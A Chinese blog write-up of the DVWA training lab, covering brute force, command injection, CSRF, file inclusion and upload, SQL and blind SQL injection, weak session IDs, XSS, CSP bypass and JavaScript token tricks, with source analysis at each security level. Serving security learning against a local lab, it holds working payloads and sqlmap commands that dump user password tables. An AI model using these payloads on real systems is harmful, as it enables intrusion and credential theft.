DVWA靶场(完结)

Brute Force

LOW

  1. 随便在登录框输入用户名和密码
  2. 开启代理,打开burpsuite工具,点击login并拦截包

        3ed639dd1dc043b9b2753d63bc6637c4.png

把包放到intrude测试器模块

96fcb6959b3b48d0ab9477a4ca285cd8.png

1.点击清除把所有变量清除
2.分别双击输入的用户名和密码,点击添加,变为有效载荷
3.选择攻击类型,攻击类型有四种,这里出于实际情况,我们选择第四种集束炸弹的模式

Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破

dab03e5612474e729386cc4a2e5d36d0.png

载入字典后,进行爆破

58687f1c406a465194f771863dbdc06f.png

根据长度进行判断,与其他数字不同的为攻击成功的账号密码,以及通过查看响应可知攻击成功

源码分析:

231312a3b84d4eb9828aa29e7a1e2611.png

Meduim

Meduim步骤与Low中的相同,但是在Meduim中对登录失败后进行了两秒的休眠,使得在这两秒内不能进行登录,延长了爆破时间。

e15d5bb172084d9b91c57888829f6430.png

High 

源码分析:

b188eb344ffd4297bf36d56810591e0e.png

爆破阶段:

输入用户名和密码。用burpsuite进行抓包

face956e74904d00862248fc81c0b839.png

清除变量,选中密码变量和token变量并添加为载荷,选择第三种攻击方式,表示使用两个字典,密码和token的值进行逐行匹配

设置密码参数:

1e372dcc9f8a42b7bf52afc3d15b8894.png

 设置token参数:

跳转到Resource pool选项页面
修改线程为1,大于1可能会有问题,因为token是每次验证完后才会新生成token,所以不能使用多线程进行爆破

b83367aaf8aa44d8b4ec215c0ddf4350.png

 跳转到options界面:

05638a2047824f3b8ea84797f5205c2d.png

点击Add

bbedcd22761f4bbc9897c5b4db257843.png

返回payloads界面

da1c4bb591124790a546822baca8c38c.png

开始爆破,根据长度确定攻击成功的密码

impossible

71b941f19a264f248129d322f87f482d.png

增加账户锁定机制,防止爆破 

Command Injection 

Low

02d08a9064ce4aacade407fa4cc7c18f.png

提示我们输入IP地址,输入127.0.0.1

5a11196567b84f0f8a672de456cf9726.png

发现是乱码,解决方法:

打开靶场里面的dvwaPage.ini.php文件,在文件中ctrl+f,用搜索栏查找utf-8,将UTF-8改为GBK或者GB2312即可

a33176dfa4434c23b252dcc2ba665b92.png

修改之后,根据回显信息可知道在这里可以执行ping命令

源码分析:

886cb80647284be29ae6007bb454ae23.png

命令连接符

& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令

使用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入 

127.0.0.1|dir

f34be4f0d34b4a309a9406dd91294c64.png

注入成功

Medium

源码分析:

24d92f3c067740589ac9a028094fda7b.png

使用127.0.0.1&dir

11c1244a3d7a4f84b57f4b1110f0d5e5.png

High

源码分析:

2bd02150adef4f3f88fef7292758616f.png

 使用127.0.0.1|dir

4a5058736b0e45ee9a852958a99d6359.png

impossible 

c6fed2eba0dc495fa38a3e4608957420.png

CSRF 

Low

ce5a827ac36746fba5bf523f07254415.png

在输入要更改的密码后,有回显更改成功,在url里http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change# 可以分析出password_new是输入的密码,password_conf是确认的密码,说明我们在网站上输入的信息是会在url栏这里进行一个传输执行

在url里修改密码确认密码,在新标签页里进行访问http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=987654&password_conf=987654&Change=Change#

d4d1b634d8a74cc7a913262e5075c17c.png

网站跳转,并且有修改成功之后的回显,说明攻击成功

源码分析:

代码中只对输入的密码和确认的密码进行匹配,没有任何的过滤

0155cf71570646b08d1a18a51fc2cd81.png

Medium 

源码分析:

和Low等级比较发现,只有一处改变,即在传入密码和确认密码参数前先进行了一个if语句的判断,判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的,若不是就不执行后面的操作

1f209c369d564530afb9a08f7c553c27.png

源码是通过referrer这个字段的参数进行判断的,通常情况下在增加referrer验证时就是网站本身当前页面的ip地址,通过抓包查看信息

5b170e7fa5ac42ada0678689d1354752.png

referer的值是当前网站的

在新的标签页中打开http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=987654&password_conf=987654&Change=Change#,并进行抓包,可以发现没有referer,需要进行伪造,Referer: http://127.0.0.1/DVWA/vulnerabilities/csrf/ ,然后放包,即可修改成功

6f982651e8764655ab0beced8468dcb3.png

133efd5fd607430d98de02ac5f48405e.png

High 

源码分析:

9918c16223c146e98af6eec61c0651a3.png

通过查看源码

可以看出high等级的主要区别是增加了一个token值的校验,每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token

6afa01515bb043d1888d0213ee093439.png

因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token 

进行抓包,使用burpsuite中的从csrf token tracker

有了这个插件之后,每次重放这个数据包都会自动更新user_token

eab427ddfd014b4ba6bfbbc38994b955.png

设置对应的参数,返回repeater模块

655d82d000c14a6ab26c61055dc47f60.png

密码修改成功 

impossible

75fedda689024ea3b0c90d62dc169f22.png

只有知道旧密码的前提下才能修改 

File Inclusion

文件包含漏洞常用到的函数:

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

Low

368c7ac8aedc4e46a5e108d8f825eb7b.png

通过分析源码,没有任何的过滤,直接查看文件

55f90ceca7bb42ba823942540bd80c32.png

可查看到file4.php的文件

Medium 

036aa89266ef40f68e3a8a792d0a9c63.png

可以通过输入绝对路径绕过

d645bee79af5499597c200f991e8e88f.png

Heigh 

59ea84df34be4a2c91383448208a0516.png

fnmatch() 函数根据指定的模式来匹配文件名或字符串。
语法:fnmatch(pattern,string,flags)
这里如果输入的file名没有“file”,而且文件名不是include.php的话就会报错,
换句话说输入的文件名是含有file字符串或者是include.php,否则会报错
输入?page=file4.php

 17f161105cdf442a81be5db737dd50b6.png

impossible 

03fe8713de8f43e8b46eeaf7705f8d3d.png

写白名单,只允许包含上述四种文件 

File Upload

Low

c377d45d39494831b3a37ca3825310c8.png

通过分析源码可知对没有过滤,可直接上传

003368004c3546559f801447fe02784c.png

Medium 

9137b76e2d3f4e51ae82465bd46680c4.png

发现对文件类型和大小做出了限制   必须是jpeg 或者 png

使用burpsuite抓包进行修改

2ad9b82c4bcc40e08f82049b540a2f30.png

文件上传成功

High 

a754fa175ded448f95734da66aef2fd0.png

通过分析源码,

getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”所以制作图片马,将图片与木马合并为图片

7e97a8dcf9ac4b60b1a4fe4fed634f17.png

impossible 

537ff269f0f047b0aea0a5777c112870.png

可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。 

SQL Injection

$id数字型(id=$id)字符型(id=”$id“)
1 and 1=1id=1 and 1=1 返回正常id=‘1 and 1=1’ 返回正常
1 and 1=2id=1 and 1=2 返回错误id=‘1 and 1=2’ 返回正常
1 or 1=1id= 1 or 1=1 返回正常id= ‘1 or 1=1’ 返回正常
1 or 1=2id=1 or 1=2 返回正常id=‘1 or 1=2’ 返回正常
1’id=1’ 返回错误id=‘1’’ 返回错误
1’ --+id=1’ --+ 返回错误id=‘1’ --+’’ 返回正常

Low

输入id=1,查看回显

3772a6ceb52a4ded98e67e9fef10f8c7.png

输入 1  and 1=2  提交

1a29f05c8ab54085ad781bc8f7b71cff.png

发现1=2并没有执行,尝试闭合

141b7f583bad422887c8de7d37c52de3.png

发生报错,说明1=2执行了,所以存在注入

判断字段数 order by

044879700aeb4259a1509b7e608d3481.png

根据报错可知字段数为2

确定显示的字段顺序

使用联合查询   1' union select 1,2#    看一下回显的位置

可以看到 1,位置的语句会在 name出回显 2,位置的语句在surname回显

f9d8e50fad674d24ad01fe05fedc405b.png

查看数据库及版本 1' union select database(),version()# 

cc011ffa7a334df69586244925336318.png

获取数据库里的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 

2ea4c24aeb74432298c08c3ac17ecb71.png

查看users表中的字段名

1‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

b75cddd5ebbe4a70957b34b7cf291803.png

查询users表中user和password的数据

1' union select user,password from users limit 0,1#

a935b0ff774f4003bb380e324b9c00f2.png

Medium 

选择不同的id显示对应的name,没有在url中传参,猜测为post传参

90f70c31f4dd4b948aacfaf86c3acfc6.png

使用burpsuite抓包 ,修改id=4

 d2042201ef05461ba3b7cfca16233806.png

判断是否有注入,修改为1 and 1=2       1 and 1=1

0780145379b14520ab9911376bda4060.png

c56101e080a944a881f871d810f81c07.png

根据回显,判断为数字型注入

判断字段数

1d840fb6705d4b47a8aa0ef3b8911751.png

根据回显可知字段数为2

判断回显点

0d4c5c3e0cbd45fd91e7a94f3a6b4f26.png

查询数据库名和版本

796b740c0573428f9c6e2385c3620427.png

查询数据库中的表名

418fb03c142c4296be9a536077f4dd5f.png

查询users表中的字段名

394e5571cc2e43469ffcebe49b9258c5.png

发生报错,由于MySQL默认支持16进制编解码,故对users进行16进制编码

 281d0ffa393a4549a1e541f54fe2b132.png

查询users表中的user和password数据

ea3b079b38a24e458df0b42fd77b8502.png

High 

点击链接传参

c420137a062a468db5f2f7aefe76f6c6.png

判断是否存在注入

cd9916708d7b4f97b95fc053915eb4fb.png

判断字段数

1'order by 3

观察回显位

1' union select 1,2

获取数据库名及版本

1' union select database(),version()

查询数据库中的表名

1' union select version,group_concat(table_name) from information_schema.tables where table_schema=database()

查询表中的字段名

1' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table name='users'

查询表中的user和password字段的数据

1' union select user,password from users limit 0,1

impossible

085ea91144b143c5b784893bc41fb059.png

限制只能为数字,不存在注入 

SQL Injection (Blind)

Low

先输入

输入1显示存在

输入1 and 1=1 或 1 and 1=2均显示存在

输入1' and 1=1 #显示存在(这三种都显示存在)

输入1' and 1=2 #不存在

说明存在注入

1.查数据库前要先判断数据库的长度
依次输入1' and length(database())=x #(x为大于等于1的整数)
当显示存在时即为数据库长度
发现当x=4时显示存在,故数据库长度为4

6464be8b0fcd4afca13831382e3e83ff.png

2.二分法找数据库名
依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii值 # 通过比较输入字母的ascii值的显示正常与否来逐个确定库名  

3.找数据库中的表
首先确定数据库中表的数量
1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)
当显示存在时即可判断表的数量
最终当x=2显示存在即表的数量为2

然后确定表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)
当显示存在时即可判断表的长度
当x=9显示存在即表的长度为9

然后同样二分法确定表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
通过比较输入字母的ascii值的显示正常与否来逐个确定表名   步骤同第二步
4.找字段名

同上一步  先确定数量  再用二分法确定名称

sqlmap

使用sqlmap,用以下命令进行跑包:

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch

–batch:在进行命令交互式的时候,默认选择为YES

fb8f8e5bf5594469b23c8bb8e36dc5ac.png

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch --technique=B

a1b48be329064b39872b703c56a58d86.png

查询当前数据库

 python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch --technique=B --current-db

8018d72567dd42a68a6408baa23eff40.png

查询数据库下的表名:

 python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch --technique=B --current-db -D dvwa --tables

d2e40afee7fa42ee9363d541d3332e39.png

查询users表下的字段名

 python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --batch --technique=B --current-db -D dvwa -T users --columns 

dbc6806f03be4119a27b478f98197d5b.png

查询数据:

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie "PHPSESSID=amv13uu59s3bk067v8fphftos0; security=low" --dump -D dvwa -T users --dump -C "users,password"

Medium

选择不同的ID,返回的结果都为User ID exists in the database.,并且URL栏中没有相关传参,猜测可能使用了POST传参,对当前页面抓取数据包

23db3a5dc20f4fb6a437d6e5033ce59c.png

发送到repeater模块,将id=1改为id=123

8e0e499c5d60435e939f3a4c4f0a16b8.png

页面发生了变化,满足布尔类型的盲注

使用sqlmap自动化注入

将当前页面的数据包信息,复制到本地的txt文本里面,并在id=处标记*号,将文本保存在sqlmap的根目录

366912619eba4a4b8bf0a579261ae94d.png

sqlmap跑post型数据包,-r

 python sqlmap.py -r 1.txt --technique=B --batch

0750125907a4417e814989687ae65ae9.png

查询当前数据库 

python sqlmap.py -r 1.txt --technique=B --batch --current-db

af1be519d8d145dc9fc5025a10a00064.png

查询该数据库下的所有表

python sqlmap.py -r 1.txt --technique=B --batch -D dvwa --tables

7cd73e5cca274accb278f4d0e69e7791.png

获取users表中的字段名

python sqlmap.py -r 1.txt --technique=B --batch -D dvwa -T users --columns

 dcdb8a818b40494e8b2f48f71c05f352.png

查询数据

 python sqlmap.py -r 1.txt --technique=B --batch -D dvwa -T users -C user,password --dump

045b7ce622094e3b86251ed67c554f82.png

High 

传参id=2时

750514b9cb7b463fb2a0ab4c7d9f4a15.png

传参id=123时

198cbaea7914450f81c1dc66a990e26d.png 满足布尔盲注条件,使用sqlmap自动化跑包

由于这里输入时一个url,响应时是另一个url,所以要使用参数-second-url=(设置二阶响应的结果显示页面的url)

 传参使用的是post请求,需要抓取请求包

2b33062ef78b4ab4a73e71d83eaa9d04.png

传参为id=2&Submit=Submit

sqlmap命令:

python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch

b4ef6f8180954c7488ce878efc2ee5d6.png

指定攻击类型为布尔盲注 

python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B

ba1baf707ee749679a4d3401c4697fa6.png

查询当前数据库

python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B --current-db 

abb38b37100845a1944358421b4f0db4.png

查询该数据库下所有的表名

python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B -D dvwa --tables

 2b5333aee5654d91bd44f16c0a2e44ef.png

查询users表中的字段名

python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B -D dvwa -T users --columns 

b2d8cf3a75ad4289b8d579f5cfef1050.png

获取user和password字段名的数据

python sqlmap.py -u "127.0.0.1/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" --cookie="id=2; PHPSESSID=amv13uu59s3bk067v8fphftos0; security=high" --batch --technique=B -D dvwa -T users -C user,password --dump

80190598ea0f4ac3963f06cf3c0e4bc9.png

impossible 

651ff865b7d7482fb0684e3b12af7baf.png

token校验,防止CSRF攻击

参数校验,确保参数是数字类型才会执行,才会进入sql语句执行的逻辑,sql执行需要经过预编译处理 

Weak Session IDs 

cookie

位于用户的计算机上,用来维护用户计算机中的信息,直到用户删除。比如我们在网页上登录某个软件时输入用户名及密码时如果保存为cookie,则每次我们访问的时候就不需要登录网站了。我们可以在浏览器上保存任何文本,而且我们还可以随时随地的去阻止它或者删除。我们同样也可以禁用或者编辑cookie,但是有一点需要注意不要使用cookie来存储一些隐私数据,以防隐私泄露。

session

session称为会话信息,位于web服务器上,主要负责访问者与网站之间的交互,当访问浏览器请求http地址时,将传递到web服务器上并与访问信息进行匹配, 当关闭网站时就表示会话已经结束,网站无法访问该信息了,所以它无法保存永久数据,我们无法访问以及禁用网站。

session与cookie的区别

(1)cookie以文本文件格式存储在浏览器中,而session存储在服务端它存储了限制数据量。它只允许4kb它没有在cookie中保存多个变量。

(2)cookie的存储限制了数据量,只允许4KB,而session是无限量的

(3)我们可以轻松访问cookie值但是我们无法轻松访问会话值,因此它更安全

(4)设置cookie时间可以使cookie过期。但是使用session-destory(),我们将会销毁会话。

Low

审计代码

91a024d5486c4f9b99080f8e293bc704.png

61d0d60f711043de970fac07e5cc0e20.png​ 

可以看到每点击一次generate,sessionid+1,并且设置在cookie中

使用burp suite抓包获取cookie

bba71302c132492da85edd4a11b4a3ee.png​ 

根据上面的数据,用hacker提交cookie

68860c7feb314518bb07ecc4fec7fd87.png​ 

Medium 

 c12996b3142c4f4ea87b98eb55881ca2.png

medium级别是基于时间戳生成dvwaSesion的,关于时间戳转换,直接查找转换器进行转换即可

High 

972da2bff3584f648d88661e1171721d.png

dvwasession很像md5加密,cookie的值是点击次数的md5加密 

impossible

b45f16a301b94ae29b4363aff8b2da10.png

$cookie_value采用随机数+时间戳+固定字符串"Impossible",再进行sha1运算,完全不能猜测到dvwaSession的值 

XSS(DOM) 

Low

观察界面,当选择不同的标签时,URL栏中的default也会发生变化

95fd55d30f1f4bc388727f7b1664b8bc.png

default可能是个传参点

传入xss代码<script>alert(1)</script>

9179a3835af24cd783deec1bf3223a94.png
 

Medium 

fc30f25424b44a6681e3cdd5148ceebd.png

源码分析:过滤掉了<script标签,当传入<script>alert(1)</script>时,会强制跳转到English

尝试使用事件型<img src=# οnerrοr=alert(1)>
1e420d8f1c1343158ed6c6ff5534e415.png

使用F12检查当前元素

e5a175ad65bf49c5ace040a2bdefe337.png

发现传入的代码在select标签中,所以需要进行闭合</select><img src=# οnerrοr=alert(1)>

4c22479013e24cea9f943e60871e435c.png

High 

 03381ccf8b194ea6bbc5402e340fb3b2.png

源码分析:设置了白名单 只允许 靶场中四个选项   但是因为&后面的东西不会发送到服务端  所以可以通过加&绕过 步骤和上面一样只不过需要加上& 

English&<script>alert(1)</script>

ca6c6abc81bd497c9c93b7c5ff60063b.png

impossible 

服务端没有代码,主要是在客户端处理,看到如下源代码,由于我们在url中输入的任何符号,都会被url编码,以下源代码在渲染我们输入的值的时候,因为没有进行解码,所以即使我们输入了xss注入的攻击代码,也无法被客户端执行。

0b821a6d3ecd47e1beba3f8ca5246624.png

直接将lang渲染在option中,并没有对lang进行解码,所以无法造成xss注入

XSS(Reflected)

Low

116a7fcd258e40a1aff6012a207367aa.png

源码分析:对输入的name没有进行任何的过滤 

18bbc97cc961436a8ada8bae3399b128.png

无论传入什么值,页面都会有回显内容,并且与输入的name一致

对url中的name输入xss代码<script>alert(1)</script>
d37b78a1db824204bd9961efda01c821.png

Medium

 774bb0f1f6ef4a018c19c31bfedc0d3e.png

通过分析源码发现<script>标签被过滤

构造代码<scr<script>ipt>alert(1)</script>或者大小写绕过<sCript>alert(1)</ScRipt>
 2101bd78046f4730abff30ef5e9285af.png

High

a0709bf2fefb47b8844a48a1664725f5.png

源码分析:这里使用了正则表达式,使得<script>标签被完全过滤

使用事件型xss代码<img src="#" οnerrοr=alert(1)>
 466b8fa2a23c4bb8bcf88832395737af.png

impossible 

d924e605c2d34cc1999cf5b371f5581c.png

htmlspecialchars()这个函数的的功能:是把预定义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。这种做法可以直接避免XSS攻击 

XSS(Stored)

Low

7a646353a3b447bb91deb5ef6c0c1968.png

输入的内容进行了存储

输入xss代码<script>alert(1)</script>

 4efda9933dc346a68049a1c4657d15d1.png

name处输入的字符受到限制,用F12查看当前元素

c77e72177edb4299ada108b842aac63c.png

修改字符长度

5c2cbf7502c746de9d436e15a602e7ec.png

eb4e3e1cada642efab58adc2e01bd65d.png

源码分析:代码对输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞 

Medium

368b29bc245a4978b17d5d30905edd0b.png

源码分析:Message处使用了htmlspecialchars()函数,将字符全部转为了HTML实体,因此Message处无法使用XSS形成攻击。可以使用双写绕过<scri<script>pt>alert(1)</script>
ef4c4384416140dbbd0c3490e94c2240.png

High 

2c539d9ec4044a5d8f75913c6e487e1f.png

<script>被过滤

使用事件型 <img src=# οnerrοr=alert(1)>

5312c141dee34aebadefbe545057f8cd.png

impossible 

token校验,防止CSRF攻击

6e3bb1b1aac74d35afafa9a866eb2c63.png

数据消毒

使用htmlspecialchars()将输入转为HTML实体

使用stripslashes()函数过滤反斜杠,mysqli_real_escape_string()函数对特殊符号进行转义

99ca18774dee4d7ea120b890c5bf3f4a.png

对数据库操作进行预编译处理

通过prepare与占位符,进行预编译处理数据库操作

c715d3fa0a0d4a1886cb984a2432807a.png

Content Security Policy (CSP) Bypass

内容安全策略(CSP)使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后,兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本,忽略所有其他脚本(包括内联脚本和事件处理HTML属性)。
除了限制可以从中加载内容的域之外,服务器还可以指定允许使用哪些协议; 例如(理想情况下,从安全角度来看),服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输,还包括使用安全标记标记所有cookie,并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。
两种方法可以启用 CSP。
一种是通过 HTTP 头信息的Content-Security-Policy的字段。
一种是通过网页的<meta>标签

Low

82543077e84c4899aa3fcc22a39c0c39.png

 从源代码中$headerCSP可以看出来,这里定义了几个受信任的站点,只能允许这几个站点的脚本才可以运行。

在源代码中也给我们了一个测试站点https://pastebin.com/raw/R570EE00

 Medium

d01fdbbe2c334f27a4fcbc743ad43499.png

这里把其它的安全站点都去掉了,加上了unsafe-inline,如果加上这个参数,就不会阻止内联脚本,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联元素

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> 

0d228787f26940bfbf055e4552668093.png

High 

68513c0d9a2146ef8a6cfd134284752a.png

2bce3f5e6a294f8cb4a2b158ed429be7.png

CSP 规则这里十分苛刻,只能引用允许self 的脚本执行,self是指本页面加载的脚本
构造Poc/DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(1),触发弹窗

42ea2cb5591d4aa1a453cc31cf550487.png

791cfa3911fc43c0a570dafa5952b0b0.png

impossible 

78c0dda7cf864dea8d743f414df34ac5.png

f7a40e6591474e95b3a733626c77cc29.png

使用HTTP的 Content-Security-Policy头部指定策略
使用meta标签限制表单

JavaScript Attacks

JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的

Low

868689a52e1348a1a16e6376593ef01b.png

 输入success后,这里提示,需要token,查看网页源码。

363d5bdcd7944b238a0d56dae687cf37.png

可能是md5加密,进行解密结果提示不对,说明还有其他加密方式,通过查看源码rot13加密

解密后发现是changeme。那么直接给success加密。先使用rot13加密,而后md5加密。在给那个hidden传值。最后输入success。

Medium

fb30ceae148549f1947cd0a57d6e4948.png

输入success后同样需要token,查看网页源码

b332fb14f52649c28901a45f1f7c818c.png

这个仔细观察他只是把changeme到着写,而后在开头和最后加上了xx,所以再给hidden传入XXsseccusXX

bc90ffa2469a485dbd4eb518c5014b2f.png

 c92961baa8a14987a8daa471c951c32f.png

High 

查看源码

457fa670db3c41ab8c01ee4865676e87.png

062500169b8e40988fd5750d2818ff11.png

在线js进行解密,解密成功后发现,这里有三个token。token1因为设定原因没有先进行,所以就要先给token1 进行,而后进行token2,最后在进行token3。token3需要点击一下提交键,即可触发。

impossible

 3defb8f29bd84ef1961ebddc4ff27790.png

大致意思就是:你永远不能相信来自用户的任何输入,而且必须对此做出防备,但你又不能阻止用户的输入,因为这样可能会干扰网站的正常使用,所以压根就不存在Impossible级别。 

  • 18
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值